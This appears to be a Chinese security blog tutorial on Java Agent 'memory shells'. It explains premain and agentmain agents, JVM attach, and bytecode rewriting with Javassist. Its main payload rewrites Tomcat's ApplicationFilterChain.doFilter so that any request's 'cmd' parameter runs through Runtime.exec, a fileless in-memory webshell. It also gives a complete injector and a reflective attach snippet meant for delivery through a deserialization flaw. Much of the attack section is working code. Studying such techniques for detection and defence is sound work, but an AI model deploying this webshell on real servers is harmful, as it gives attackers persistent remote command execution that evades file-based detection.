首页 > 系统相关 >Agent内存马分析

Agent内存马分析

时间:2024-04-08 20:56:34浏览次数:28  
标签:分析 java Agent 内存 JVM import Class 加载

什么是Java Agent

我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
premain-Agent

agentmain-Agent

Premain-Agent

准备一个premain_agent:

package org.example;

import java.lang.instrument.Instrumentation;

public class Java_Agent_Premain {
    public static void premain(String args, Instrumentation inst){
        for(int i=0;i<10;i++){
            System.out.println("调用了premain_agent");
        }
    }
}

准备一个目标进程文件:

package org.example;

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

之后将Java_Agent_Premain类打包成Jar包,这里有些讲究,创建一个resources/META-INF/MANIFEST.MF文件,文件内容为:

Manifest-Version: 1.0
Premain-Class: org.example.Java_Agent_Premain

之后修改一下pom.xml文件

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>2.6</version>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestFile>
                            src/main/resources/META-INF/MANIFEST.MF
                        </manifestFile>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>

然后使用Maven的assembly:assembly进行打包,这样会识别MANIFEST.MF文件
打包之后生成两个Jar包,我们使用第二个

最后修改一下Hello类的运行配置,添加一个VM-OPTIONS,在Modify options里选中add Vm-options

运行Hello类,成功注入到Hello的前面

Agentmain-Agent

premain-agent只能在类加载前去插入,而agentmain可以在已经运行的jvm去插入方法

VirtualMachine

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent,下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
 
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
 
//获得当前所有的JVM列表
VirtualMachine.list()
 
//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;

public class get_PID {
    public static void main(String[] args) {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd:list){
            if(vmd.displayName().equals("get_PID")){
                System.out.println(vmd.id());
            }
        }
    }
}

首先我们编写一个Sleep_Hello类,模拟正在运行的JVM

package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while (true){
            System.out.println("Hello World");
            sleep(5000);
        }
    }
}

编写一个agentmain-agent,跟上面操作一样打包成jar包

package org.example;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Agent_Main {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        while (true){
            System.out.println("调用了agentmain-agent");
            sleep(3000);
        }
    }
}

MF文件内容为

Manifest-Version: 1.0
Agent-Class: org.example.Agent_Main

最后准备一个Inject类,将agentmain-agent注入到JVM中

package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        // 获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        // 遍历JVM
        for(VirtualMachineDescriptor vmd:list){
            // 获取目标JVM
            if(vmd.displayName().equals("org.example.Sleep_Hello")){
                // 连接目标JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                // 加载Agent
                virtualMachine.loadAgent("D:\\Java安全学习\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
                // 断开连接
                virtualMachine.detach();
            }
        }
    }
}

先跑Sleep_Hello类当作JVM,再跑Inject_Agent类注入

Agentmain-Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。像我们之前的注入类都是这样写的

其在Java中是一个接口,常用方法如下

public interface Instrumentation {
    
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
 
    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);
 
    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);
 
 
    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
 
 
 
    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);
 
    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();
 
    //获取一个对象的大小
    long getObjectSize(Object objectToSize);
 
}

获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类

package org.example;

import java.lang.instrument.Instrumentation;

public class Agentmain_Instrument {
    public static void agentmain(String args, Instrumentation inst) {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls:classes){
            System.out.println("**********************************");
            System.out.println("已加载类:"+cls.getName());
            System.out.println("是否可修改:"+inst.isModifiableClass(cls));
        }
    }
}

步骤跟上面注入流程一样

addTransformer


增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,transformer 可以对未加载的类进行拦截,同时也可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。ClassFileTransformer是一个接口,该接口里只有一个方法,返回一个bytes数组:

也就是说我们注入的对象需要实现这个接口

  • 使用Instrumentation.addTransformer()来加载一个转换器。
  • 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
  • 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

其实简而言之,这个方法就是让我们可以动态的修改已经加载和没加载的类,达到动态修改字节码的目的
当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。
转换将按以下顺序应用:

  • 不可重转换转换器
  • 不可重转换本机转换器
  • 可重转换转换器
  • 可重转换本机转换器

修改已加载类的字节码

修改已经加载的字节码主要是通过addTransformerretransformClasses这两个方法,一个是添加一个转换器,另外的是重新加载该类,也就是更新我们准备一个目标JVM:

package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void hello(){
        System.out.println("Hello World");
    }
    public static void main(String[] args) throws InterruptedException {
        while (true){
            hello();
            sleep(5000);
        }
    }
}

再准备我们的AgentMain,写好后记得把他打成Jar包

package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agentmain_transform {
    public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();
        // 获取目标JVM加载的全部类
        for(Class cls:classes){
            if(cls.getName().equals("org.example.Sleep_Hello")){
                // 添加一个transformer到Instrumentation,并重新触发目标类加载
                inst.addTransformer(new Hello_transform(), true);
                inst.retransformClasses(cls);
            }
        }
    }
}

准备我们修改的类:

package org.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_transform implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.example.Sleep_Hello");
            System.out.println(ctClass);

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

            //设置方法体
            String body = "{System.out.println(\"Hacker!\");}";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

修改一下MF文件要不然会注入失败:

Manifest-Version: 1.0
Agent-Class: org.example.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Spring中的InternalDofilter链

简单写个controller,打个断点看调用栈

在调用栈中根据责任链机制,存在一个反复调用InternalDoFilter的链internalDoFilter->doFilter->service
我们只要动态修改internalDoFilter或者是doFilter,就可以注入Agent的内存马了,而且这两个方法中都有request和response,拿来回显在适合不过

利用Agent实现spring Filter内存马

重写下transform

package com.example.agentmemory.agents;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_transform implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
            System.out.println(ctClass);

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

            //设置方法体
            String body = "{" +
                    "javax.servlet.http.HttpServletRequest request = $1\n;" +
                    "String cmd=request.getParameter(\"cmd\");\n" +
                    "if (cmd !=null){\n" +
                    "  Runtime.getRuntime().exec(cmd);\n" +
                    "  }"+
                    "}";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

准备Agentmain

package com.example.agentmemory.agents;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agentmain_transform {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

                //添加一个transformer到Instrumentation,并重新触发目标类加载
                inst.addTransformer(new Filter_transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

MF文件

Manifest-Version: 1.0
Agent-Class: com.example.agentmemory.agents.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

最后准备Inject类

package com.example.agentmemory.agents;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().equals("com.example.agentmemory.AgentMemoryApplication")){

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("D:\\Java安全学习\\AgentMemory\\target\\AgentMemory-0.0.1-SNAPSHOT-jar-with-dependencies.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

连打两次就注入成功了

结合反序列化

http://wjlshare.com/archives/1582

try{
    java.lang.String path = "/Users/xxxxx/Desktop/java/AgentMain/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
    java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
    java.net.URL url = toolsPath.toURI().toURL();
    java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
    Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
    Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
    java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
    java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

    System.out.println("Running JVM list ...");
    for(int i=0;i<list.size();i++){
        Object o = list.get(i);
        java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
        java.lang.String name = (java.lang.String) displayName.invoke(o,null);
        // 列出当前有哪些 JVM 进程在运行 
        // 这里的 if 条件根据实际情况进行更改
        if (name.contains("com.vuln.demo.DemoApplication")){
            // 获取对应进程的 pid 号
            java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
            java.lang.String id = (java.lang.String) getId.invoke(o,null);
            System.out.println("id >>> " + id);
            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            java.lang.Object vm = attach.invoke(o,new Object[]{id});
            java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            loadAgent.invoke(vm,new Object[]{path});
            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
            detach.invoke(vm,null);
            System.out.println("Agent.jar Inject Success !!");
            break;
        }
    }
} catch (Exception e){
    e.printStackTrace();
}

标签:分析,java,Agent,内存,JVM,import,Class,加载
From: https://www.cnblogs.com/F12-blog/p/18122545

相关文章

  • NCI SEER breast cancer美国国立癌症研究所数据库乳腺癌生存分析和乳腺癌预测模型(202
    ​作者Toby,来源公众号:python生物信息学,美国国立癌症研究所数据库乳腺癌生存分析和乳腺癌预测模型NCI美国国立癌症研究所(NationalCancerInstitute,NCI)美国国立癌症研究所(NCI)是美国国家卫生研究院(NIH)的一个组成部分,致力于癌症研究和预防。以下是NCI的一些重要信息和职责:......
  • Linux 性能分析工具大全
    vmstat--虚拟内存统计vmstat(VirtualMeomoryStatistics,虚拟内存统计)是Linux中监控内存的常用工具,可对操作系统的虚拟内存、进程、CPU等的整体情况进行监视。vmstat的常规用法:vmstatintervaltimes 即每隔 interval 秒采样一次,共采样 times 次,如果省略 times,则一直......
  • C语言进阶之动态内存管理【概念篇】
    前言:我们知道C语言是一门接触底层的语言,其核心用法之一就是对内存的操作,本篇将就详细介绍C语言中是如何灵活开辟内存空间的以及如何管理使用这些空间等等。一.为什么要引入动态内存管理 ? 在C语言中我们目前已经掌握两种开辟内存空间的方式:1.intdata=10;//在栈(stack)空......
  • 挣值分析
    没有具体计算importjavax.swing.*;importjava.awt.*;publicclassEarnValueAnalysisextendsJPanel{privatedouble[]EV={9,31,47.5};privatedouble[]PV={10,35,50};privatedouble[]AC={10,36,54};publicEarnValueAnalysis(){......
  • SAST-数据流分析方法-理论
    引言众所周知,数据流分析是实现污点分析的一种常用技术数据流分析分为过程内的数据流分析与过程间的数据流分析。前者是对一个方法体内的数据流分析,主要是基于CFG分析,不涉及方法调用;后者是基于不同方法间的数据流分析,主要是基于ICFG+CG分析,会涉及方法调用。一、过程内数据流分析......
  • CSCI 2122任缓存和内存层次结构 解析
    CSCI2122任务5截止日期:2024年4月9日星期二晚上11:59,通过git提交目标本课业的目的是练习用C进行编码,并强化中讨论的概念类的指针、缓存和内存层次结构。在这项任务中,您将实现一个使用有限内存的缓存模拟器。准备1.完成工作分配0,或确保已安装完成工作分配所需的工具。2.克隆......
  • MySQL 主从 AUTO_INCREMENT 不一致问题分析
    本文介绍了MySQL5.7中常见的replaceinto操作造成的主从auto_increment不一致现象,一旦触发了主从切换,业务的正常插入操作会触发主键冲突的报错提示。一、问题描述1.1问题现象在MySQL5.7版本中,REPLACEINTO操作在表存在自增主键的情况下,可能会出现表的auto_increm......
  • TSINGSEE青犀边缘计算AI智能分析网关V4客流统计算法的配置步骤及使用
    TSINGSEE青犀AI智能分析网关V4内置了近40种AI算法模型,支持对接入的视频图像进行人、车、物、行为、烟火等实时检测分析,上报识别结果,并能进行语音告警播放。硬件支持RTSP、GB28181协议、以及厂家私有协议接入,可兼容市面上常见的厂家品牌设备,可兼容IPC、网络音柱等。同时也支持智能......
  • TSINGSEE青犀边缘计算AI智能分析网关V4客流统计算法的配置步骤及使用
    TSINGSEE青犀AI智能分析网关V4内置了近40种AI算法模型,支持对接入的视频图像进行人、车、物、行为、烟火等实时检测分析,上报识别结果,并能进行语音告警播放。硬件支持RTSP、GB28181协议、以及厂家私有协议接入,可兼容市面上常见的厂家品牌设备,可兼容IPC、网络音柱等。同时也支持智......
  • 贝叶斯分位数回归、lasso和自适应lasso贝叶斯分位数回归分析免疫球蛋白、前列腺癌数据
    原文链接:http://tecdat.cn/?p=22702最近我们被客户要求撰写关于贝叶斯分位数回归的研究报告,包括一些图形和统计输出。贝叶斯回归分位数在最近的文献中受到广泛关注,本文实现了贝叶斯系数估计和回归分位数(RQ)中的变量选择,带有lasso和自适应lasso惩罚的贝叶斯摘要还包括总结结果、......